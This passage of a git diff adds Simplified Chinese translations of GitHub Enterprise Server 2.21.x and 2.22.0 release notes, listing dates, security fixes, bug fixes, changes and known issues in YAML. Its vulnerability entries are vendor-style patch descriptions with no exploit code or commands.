variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/22.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/22.yml new file mode 100644 index 0000000000..fd1d867027 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/22.yml @@ -0,0 +1,16 @@ +date: '2021-05-25' +sections: + security_fixes: + - '**中:**在某些情况下,从团队或组织中删除的用户可以保留对已打开现有拉取请求的分支的写入权限。' + - 包已更新到最新的安全版本。 + bugs: + - 管理员使用“创建白名单条目”按钮添加的 IP 地址仍可能被锁定。 + - 在群集或 HA 环境中,GitHub Pages 构建可能在将会失败的次要节点上触发。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。 + - 在升级期间不会维护自定义防火墙规则。 + - "Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。" + - 如果问题包含指向同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 + - 在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。 + - 推送到命令行上的存储库时,不会报告安全警报。 + - '当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能会将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/23.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/23.yml new file mode 100644 index 0000000000..175ffb0c6a --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/23.yml @@ -0,0 +1,16 @@ +date: '2021-06-10' +sections: + security_fixes: + - 包已更新到最新的安全版本。 + bugs: + - "从 非 GitHub 源导入组织或仓库失败可能会产生 `undefined method '[]' for nil:NilClass` 错误。" + changes: + - GraphQL API 用户可在 `PullRequest` 对象上查询公共字段 `closingIssuesReferences`。该字段检索将在合并拉取请求时自动关闭的问题。这种方法还将允许将来迁移这些数据,作为更高保真度迁移过程的一部分。 + known_issues: + - 在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。 + - 自定义防火墙规则在升级过程中被删除。 + - "Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。" + - 如果议题包含文件路径长于 255 个字符的同一仓库中 blob 的永久链接,则议题无法关闭。 + - 对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。 + - 推送到命令行上的仓库时不报告安全警报。 + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/3.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/3.yml new file mode 100644 index 0000000000..61e9cc25c1 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/3.yml @@ -0,0 +1,18 @@ +date: '2020-07-21' +sections: + security_fixes: + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21438, https://github.com/github/enterprise2/pull/21402, https://github.com/github/enterprise2/pull/21496, https://github.com/github/enterprise2/pull/21479 {% endcomment %}' + bugs: + - '管理控制台监视图有时无法在更大的屏幕上正确显示。{% comment %} https://github.com/github/enterprise2/pull/21398, https://github.com/github/enterprise2/pull/21381 {% endcomment %}' + - '应用 SameSite Cookie 策略时,GitHub 应用部件清单 (manifest) 创建流在某些情况下无法使用。{% comment %} https://github.com/github/github/pull/147829, https://github.com/github/github/pull/144121 {% endcomment %}' + - "在某些情况下,访问“探索”页面会引发应用程序错误。{% comment %} https://github.com/github/github/pull/149605, https://github.com/github/github/pull/148949 {% endcomment %}" + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - "将存储库的权限配置为“会审”或“维护”失败,并显示错误消息。" + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/4.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/4.yml new file mode 100644 index 0000000000..fe8a7af32a --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/4.yml @@ -0,0 +1,28 @@ +date: '2020-08-11' +sections: + security_fixes: + - '{% octicon "alert" aria-label="The alert icon" %} **关键:**在 GitHub Pages 中发现了一个远程执行代码漏洞,攻击者可利用该漏洞在构建 GitHub Pages 站点的过程中执行命令。此问题是由于在 Pages 构建过程中使用过时且易受攻击的依赖项造成的。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。 此漏洞影响 GitHub Enterprise Server 的所有版本。为了缓解此漏洞,Kramdown 已更新以解决 CVE-2020-14001。{% comment %} https://github.com/github/pages/pull/2835, https://github.com/github/pages/pull/2827 {% endcomment %}' + - '**高:**在 GitHub Enterprise Server 上执行时,攻击者可以将恶意参数注入 Git 子命令。这可能使攻击者能够使用部分用户控制的内容覆盖任意文件,并可能在 GitHub Enterprise Server 实例上执行任意命令。要利用此漏洞,攻击者需要获得访问 GHES 实例中存储库的权限。但是,由于存在其他保护措施,我们无法确定积极利用此漏洞的方法。此漏洞通过 GitHub 安全 Bug 悬赏计划报告。{% comment %} https://github.com/github/github/pull/150936, https://github.com/github/github/pull/150634 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21679, https://github.com/github/enterprise2/pull/21542, https://github.com/github/enterprise2/pull/21812, https://github.com/github/enterprise2/pull/21700 {% endcomment %}' + bugs: + - 'Consul 配置错误导致无法在独立实例上处理某些后台作业。{% comment %} https://github.com/github/enterprise2/pull/21463 {% endcomment %}' + - '服务内存分配计算可能会将不正确或无限制的内存分配给某项服务,导致系统性能差。{% comment %} https://github.com/github/enterprise2/pull/21689 {% endcomment %}' + - '未正确检测到 oVirt KVM 系统的虚拟化平台,从而在升级过程中造成问题。{% comment %} https://github.com/github/enterprise2/pull/21731, https://github.com/github/enterprise2/pull/21669 {% endcomment %}' + - "通过 Git 命令行使用密码进行无效身份验证的错误消息未填充 URL 链接以添加适当的令牌或 SSH 密钥。{% comment %} https://github.com/github/github/pull/149607, https://github.com/github/github/pull/149351 {% endcomment %}" + - '使用问题模板功能在用户存储库上创建问题可能失败,并出现内部服务器错误。{% comment %} https://github.com/github/github/pull/150173, https://github.com/github/github/pull/149445 {% endcomment %}' + - '访问“探索”部分失败,出现 500 内部服务器错误。{% comment %} https://github.com/github/github/pull/150512, https://github.com/github/github/pull/150504 {% endcomment %}' + - '在迁移到新实例的存储库上,无法按 *最近更新* 对问题进行排序。{% comment %} https://github.com/github/github/pull/150688, https://github.com/github/github/pull/149330 {% endcomment %}' + - 'GitHub Connect 使用的是已弃用的 GitHub.com API 终结点。{% comment %} https://github.com/github/github/pull/150827, https://github.com/github/github/pull/150545 {% endcomment %}' + - '为后台作业收集的内部指标导致不必要的 CPU 和内存使用。{% comment %} https://github.com/github/github/pull/151182, https://github.com/github/github/pull/147695 {% endcomment %}' + - '404 页面的页脚中包含 GitHub.com 联系人和状态链接。{% comment %} https://github.com/github/github/pull/151315 {% endcomment %}' + - '未发布功能的后台作业已排队,尚未处理。{% comment %} https://github.com/github/github/pull/151395, https://github.com/github/github/pull/146248 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - "将存储库的权限配置为“会审”或“维护”失败,并显示错误消息。" + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/5.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/5.yml new file mode 100644 index 0000000000..f80dee5edb --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/5.yml @@ -0,0 +1,16 @@ +date: '2020-08-12' +sections: + bugs: + - '解决了在生成系统配置模板时可能导致高 CPU 使用率的问题。{% comment %} https://github.com/github/enterprise2/pull/21786, https://github.com/github/enterprise2/pull/21741 {% endcomment %}' + - '最近对内存分配的更改可能导致系统性能降低 {% comment %} https://github.com/github/enterprise2/pull/22066 {% endcomment %}' + - '运行数据库迁移时的临时连接问题可能导致数据丢失。{% comment %} https://github.com/github/enterprise2/pull/22128, https://github.com/github/enterprise2/pull/22100 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - "将存储库的权限配置为“会审”或“维护”失败,并显示错误消息。" + - '当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/6.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/6.yml new file mode 100644 index 0000000000..d6b8db9818 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/6.yml @@ -0,0 +1,26 @@ +date: '2020-08-26' +sections: + security_fixes: + - >{% octicon "alert" aria-label="The alert icon" %} **严重:**在 GitHub Pages 中发现了一个在构建 GitHub Pages 站点时可能会被利用的远程执行代码漏洞。GitHub Pages 使用的基础分析程序的用户控制配置没有受到足够的限制,因此可以在 GitHub Enterprise Server 实例上执行命令。要利用此漏洞,攻击者需要获得在 GitHub Enterprise Server 实例上创建和构建 GitHub Pages 站点的权限。此漏洞影响 GitHub Enterprise Server 的所有版本。导致该漏洞的潜在问题已在内部并通过 GitHub 安全 Bug 赏金计划确定。我们已发布 CVE-2020-10518。{% comment %} https://github.com/github/pages/pull/2882, https://github.com/github/pages/pull/2902, https://github.com/github/pages/pull/2894, https://github.com/github/pages/pull/2877, https://github.com/github/pages-gem/pull/700, https://github.com/github/pages/pull/2889, https://github.com/github/pages/pull/2899, https://github.com/github/pages/pull/2903, https://github.com/github/pages/pull/2890, https://github.com/github/pages/pull/2891, https://github.com/github/pages/pull/2884 {% endcomment %}> + - '**中:**发现了一个不适当的访问控制漏洞,该漏洞允许经过身份验证的实例用户根据其数字 ID 确定未经授权的专用存储库的名称。此漏洞不允许对除名称外的任何存储库内容进行未经授权的访问。此漏洞影响 2.22 之前的所有 GitHub Enterprise Server 版本,编号为 [CVE-2020-10517](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-10517)。此漏洞通过 [GitHub Bug 赏金计划](https://bounty.github.com)报告。{% comment %} https://github.com/github/github/pull/151986, https://github.com/github/github/pull/151713 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/21853, https://github.com/github/enterprise2/pull/21828, https://github.com/github/enterprise2/pull/22154, https://github.com/github/enterprise2/pull/21920, https://github.com/github/enterprise2/pull/22216, https://github.com/github/enterprise2/pull/22190 {% endcomment %}' + bugs: + - '当 ghe-config-application 进程运行完 ghe-es-auto-extension 时,消息未记录。{% comment %} https://github.com/github/enterprise2/pull/22178, https://github.com/github/enterprise2/pull/22171 {% endcomment %}' + - '如果主设备不可用,则可能会在高可用性副本上向 `syslog` 文件过度记录日志。{% comment %} https://github.com/github/enterprise2/pull/22268, https://github.com/github/enterprise2/pull/22124 {% endcomment %}' + - "在副本上重新对数据库进行种子设定可能会失败,并显示错误:`获取的数据包大于 \"max_allowed_packet\"`{% comment %} https://github.com/github/enterprise2/pull/22322, https://github.com/github/enterprise2/pull/20063 {% endcomment %}" + - '在某些情况下,用户数据重复可能会导致在运行 ghe-license-usage 脚本时出现 500 错误。{% comment %} https://github.com/github/github/pull/152637 {% endcomment %}' + - '如果使用 `--lock` 标志,在使用 `ghe-migrator` 时,`add` 命令将无法锁定存储库。{% comment %} https://github.com/github/github/pull/152780, https://github.com/github/github/pull/152588 {% endcomment %}' + changes: + - '在高可用性或异地复制配置下,副本实例会在 ghe-config-apply 运行时退出维护模式。{% comment %} https://github.com/github/enterprise2/pull/21777, https://github.com/github/enterprise2/pull/21440 {% endcomment %}' + - "我们添加了对 R5a 和 R5n AWS 实例类型的支持。{% comment %} https://github.com/github/enterprise2/pull/21903, https://github.com/github/enterprise2/pull/21173 {% endcomment %}" + - '由于存在影响 GitHub Enterprise Server 群集的性能问题,移除了管理 SSH MOTD 上的许可证席位计数信息。{% comment %} https://github.com/github/enterprise2/pull/21994, https://github.com/github/enterprise2/pull/21870 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的[通过 Web 界面上传的](https://github.com/blog/2105-upload-files-to-your-repositories)文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '如果问题包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '在命令行上推送到存储库时不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - "将存储库的权限配置为“会审”或“维护”失败,并显示错误消息。" + - '当副本节点在高可用性配置下脱机时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到脱机节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/7.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/7.yml new file mode 100644 index 0000000000..b3467f5f1c --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/7.yml @@ -0,0 +1,15 @@ +date: '2020-09-08' +sections: + bugs: + - '服务运行状况检查会造成会话增加,从而耗尽文件系统 Inode。{% comment %} https://github.com/github/enterprise2/pull/22481, https://github.com/github/enterprise2/pull/22475 {% endcomment %}' + - "使用热补丁的升级可能会失败,并显示错误:“未找到 'libdbi1'”{% comment %} https://github.com/github/enterprise2/pull/22556, https://github.com/github/enterprise2/pull/22552 {% endcomment %}" + - "将存储库的权限配置为“会审”或“维护”不再失败。" + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪的文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/8.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/8.yml new file mode 100644 index 0000000000..2834cac6c7 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/8.yml @@ -0,0 +1,16 @@ +date: '2020-09-23' +sections: + security_fixes: + - '**中**:ImageMagick 已经更新,可解决 [DSA-4715-1](https://www.debian.org/security/2020/dsa-4715). {% comment %} https://github.com/github/enterprise2/pull/22621, https://github.com/github/enterprise2/pull/22610 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/22571, https://github.com/github/enterprise2/pull/22426, https://github.com/github/enterprise2/pull/22602, https://github.com/github/enterprise2/pull/22592, https://github.com/github/enterprise2/pull/22719, https://github.com/github/enterprise2/pull/22699 {% endcomment %}' + bugs: + - '管理员无法看到已交付的存储库 Webhook,而是看到“抱歉,出错了,我们无法提取此挂钩的交付”。{% comment %} https://github.com/github/authzd/pull/1181, https://github.com/github/authzd/pull/980 {% endcomment %}' + known_issues: + - '在新建的没有任何用户的 GitHub Enterprise Server 上,攻击者可以创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '在升级期间不会维护自定义防火墙规则。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - '[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories)的 Git LFS 跟踪的文件被错误地直接添加到存储库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '问题若是包含同一存储库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。{% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '对 GitHub Connect 启用“用户可以搜索 GitHub.com”后,专用和内部存储库中的问题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新时间:2020-11-02){% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-21/9.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-21/9.yml new file mode 100644 index 0000000000..f0aefac3b8 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-21/9.yml @@ -0,0 +1,29 @@ +date: '2020-10-09' +sections: + security_fixes: + - '**LDAP** 目录用户名标准化为现有 GHES 帐户登录的用户可以验证现有帐户。{% comment %} https://github.com/github/github/pull/156517, https://github.com/github/github/pull/155512 {% endcomment %}' + - '包已更新到最新的安全版本。{% comment %} https://github.com/github/enterprise2/pull/22911, https://github.com/github/enterprise2/pull/22878 {% endcomment %}' + bugs: + - '管理控制台中的 NameID 格式下拉列表将在设置为“持久”之后重置为“未指定”。 {% comment %} https://github.com/github/enterprise2/pull/22402, https://github.com/github/enterprise2/pull/22331, https://github.com/github/enterprise2/issues/13446 {% endcomment %}' + - '通过[管理控制台](/admin/configuration/accessing-the-management-console) 保存设置将附加一个新行到 [TLS/SSL 证书和密钥](/admin/configuration/configuring-tls) 文件,这触发了某些服务的不必要重新加载。 {% comment %} https://github.com/github/enterprise2/pull/22608, https://github.com/github/enterprise2/pull/22540 {% endcomment %}' + - '依赖项关系图的系统日志没有轮换,允许无限存储增长。{% comment %} https://github.com/github/enterprise2/pull/22766, https://github.com/github/enterprise2/pull/22733 {% endcomment %}' + - '如果请求的工人覆盖设置在使用中,升级可能会失败。{% comment %} https://github.com/github/enterprise2/pull/22838, https://github.com/github/enterprise2/pull/22814 {% endcomment %}' + - '使用 `ghe-migrator` 导入仓库时,如果数据不一致,可能发生意外异常。{% comment %} https://github.com/github/github/pull/153849, https://github.com/github/github/pull/151552 {% endcomment %}' + - '到 GitHub 安全通告的链接将使用 GitHub Enterprise Server 实例主机名的 URL 而不是 GitHub.com,将用户引导到不存在的 URL。{% comment %} https://github.com/github/github/pull/153853, https://github.com/github/github/pull/151301 {% endcomment %}' + - '当使用的身份验证模式不支持内置双重身份验证时,企业帐户安全设置页面显示用于“双重身份验证”设置的“查看组织当前配置”链接。{% comment %} https://github.com/github/github/pull/153861 {% endcomment %}' + - '当使用 `ghe-migrator` 导入 PR 审核请求时,与删除用户相关的记录将产生外部数据库记录。 {% comment %} https://github.com/github/github/pull/154959, https://github.com/github/github/pull/153169 {% endcomment %}' + - '使用 "ghe-migrator" 导入用户时,如果系统生成的电子邮件地址超过 100 个字符,则会出现“电子邮件无效”的错误。{% comment %} https://github.com/github/github/pull/155110, https://github.com/github/github/pull/152418 {% endcomment %}' + - '记录 web 挂钩活动可能会使用大量的磁盘空间,并导致根盘变满。{% comment %} https://github.com/github/github/pull/155656, https://github.com/github/github/pull/154100 {% endcomment %}' + changes: + - '为 AWS EC2 实例类型 `m5.16xlarge` 添加了支持。{% comment %} https://github.com/github/enterprise2/pull/22501, https://github.com/github/enterprise2/pull/22473 {% endcomment %}' + - '删除 `ghe-migrator` 档案中 SSH 指纹的要求,因为它可以随时计算。{% comment %} https://github.com/github/github/pull/156945, https://github.com/github/github/pull/155387 {% endcomment %}' + - 'GitHub App 清单现在包含 `request_oauth_on_install` 字段。{% comment %} https://github.com/github/github/pull/156994, https://github.com/github/github/pull/155010, https://github.com/github/ecosystem-apps/issues/1055 {% endcomment %}' + known_issues: + - '在没有任何用户的新建 GitHub Enterprise Server 上,攻击者可能创建第一个管理员用户。{% comment %} https://github.com/github/enterprise2/issues/1889 {% endcomment %}' + - '自定义防火墙规则在升级期间没有维护。{% comment %} https://github.com/github/enterprise2/issues/2823 {% endcomment %}' + - 'Git LFS 跟踪的文件[通过 Web 界面上传](https://github.com/blog/2105-upload-files-to-your-repositories) 被错误地直接添加到仓库。{% comment %} https://github.com/github/github/issues/54684 {% endcomment %}' + - '议题若是包含同一仓库中文件路径长于 255 个字符的 blob 的永久链接,则无法关闭。 {% comment %} https://github.com/github/github/issues/107731 {% endcomment %}' + - '在 GitHub Connect 中启用了“用户可以搜索 GitHub.com”时,私有和内部仓库中的议题不包括在 GitHub.com 搜索结果中。{% comment %} https://github.com/github/admin-experience/issues/571 {% endcomment %}' + - '推送到命令行上的仓库时,不会报告安全警报。{% comment %} https://github.com/github/github/issues/143190 {% endcomment %}' + - '审核日志可归因于 127.0.0.1,而不是实际源 IP 地址。(更新于 2020-11-02) {% comment %} https://github.com/github/enterprise2/issues/21514 {% endcomment %}' + - '当副本节点在高可用性配置下离线时,{% data variables.product.product_name %} 仍可能将 {% data variables.product.prodname_pages %} 请求路由到离线节点,从而减少用户的 {% data variables.product.prodname_pages %} 可用性。' diff --git a/translations/zh-CN/data/release-notes/enterprise-server/2-22/0.yml b/translations/zh-CN/data/release-notes/enterprise-server/2-22/0.yml new file mode 100644 index 0000000000..43c7b59432 --- /dev/null +++ b/translations/zh-CN/data/release-notes/enterprise-server/2-22/0.yml @@ -0,0 +1,165 @@ +intro: GitHub 很高兴能提供 GitHub Enterprise Server 2.22.0。 +date: '2020-09-23' +sections: + features: + - heading: GitHub Actions Beta 版本 + notes: + - |[GitHub Actions](https://github.com/features/actions) 是一种用于 CI/CD 和工作流程自动化的强大而灵活的解决方案。Enterprise Server 上的 GitHub Actions 提供的工具有助于管理服务,包括管理控制台中的关键指标、审核日志和访问控制,以帮助你控制推出。 + + + +你需要为 GitHub Actions 提供自己的[存储](https://docs.github.com/en/enterprise/2.22/admin/github-actions/enabling-github-actions-and-configuring-storage)和运行器。支持 AWS S3、Azure Blob 存储和 MinIO。请在打开 GitHub Actions 前查看[更新后的平台最低要求](https://docs.github.com/en/enterprise/2.22/admin/installation/setting-up-a-github-enterprise-server-instance)。如需了解更多信息,请联系 GitHub 销售团队或[注册 beta 版本](https://resources.github.com/beta-signup/)。{% comment %} https://github.com/github/releases/issues/775 {% endcomment %} + +| + - heading: GitHub Packages Beta 版本 + notes: + - |[GitHub Packages](https://github.com/features/packages) 是一种与 GitHub API、Actions 和 Webhook 本机集成的包托管服务。创建一个[端到端 DevOps 工作流](https://docs.github.com/en/enterprise/2.22/admin/packages/configuring-packages-support-for-your-enterprise)并包括代码、持续集成和部署解决方案。 + + + +支持的存储后端包括 AWS S3 和 MinIO,未来版本将支持 Azure blob。请注意,当前的 Docker 支持将在下一个版本中被新的 GitHub Container Registry 的 beta 版本所取代。请在打开 GitHub Packages 前查看[更新后的平台最低要求](https://docs.github.com/en/enterprise/2.22/admin/installation/setting-up-a-github-enterprise-server-instance)。如需了解更多信息,请联系 GitHub 销售团队或[注册 beta 版本](https://resources.github.com/beta-signup/)。{% comment %} https://github.com/github/releases/issues/773 {% endcomment %} + +| + - heading: Advanced Security 代码扫描 Beta 版本 + notes: + - |[GitHub Advanced Security 代码扫描](https://github.com/features/security)是一种开发者优先的 GitHub 本机静态应用程序安全测试 (SAST)。在安全漏洞潜入生产之前轻松发现它们,而这一切都由世界上最强大的代码分析引擎 (CodeQL) 提供支持。 + + + +使用 GitHub Advanced Security 的管理员可以[注册](https://resources.github.com/beta-signup/)和[启用](https://docs.github.com/en/enterprise/2.22/admin/configuration/configuring-code-scanning-for-your-appliance) GitHub Advanced Security 代码扫描 beta 版本。请在打开 GitHub Advanced Security 代码扫描前查看[更新后的平台最低要求](https://docs.github.com/en/enterprise/2.22/admin/installation/setting-up-a-github-enterprise-server-instance)。{% comment %} https://github.com/github/releases/issues/768 {% endcomment %} + +| + - heading: 拉取请求重新定位 + notes: + - |合并和删除[拉取请求的主分支](https://docs.github.com/en/enterprise/2.22/user/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)时,同一存储库中定向到此分支的所有其他打开的拉取请求现在将被重新定向到合并的拉取请求的基础分支。以前这些拉取请求是关闭的。{% comment %} https://github.com/github/releases/issues/801 {% endcomment %} + +| + - heading: 暂停和取消暂停应用安装 + notes: + - |管理员和用户可以根据需要[暂停任何 GitHub 应用的访问](https://docs.github.com/enterprise/2.22/user/rest/reference/apps#suspend-an-app-installation),并通过设置和 API 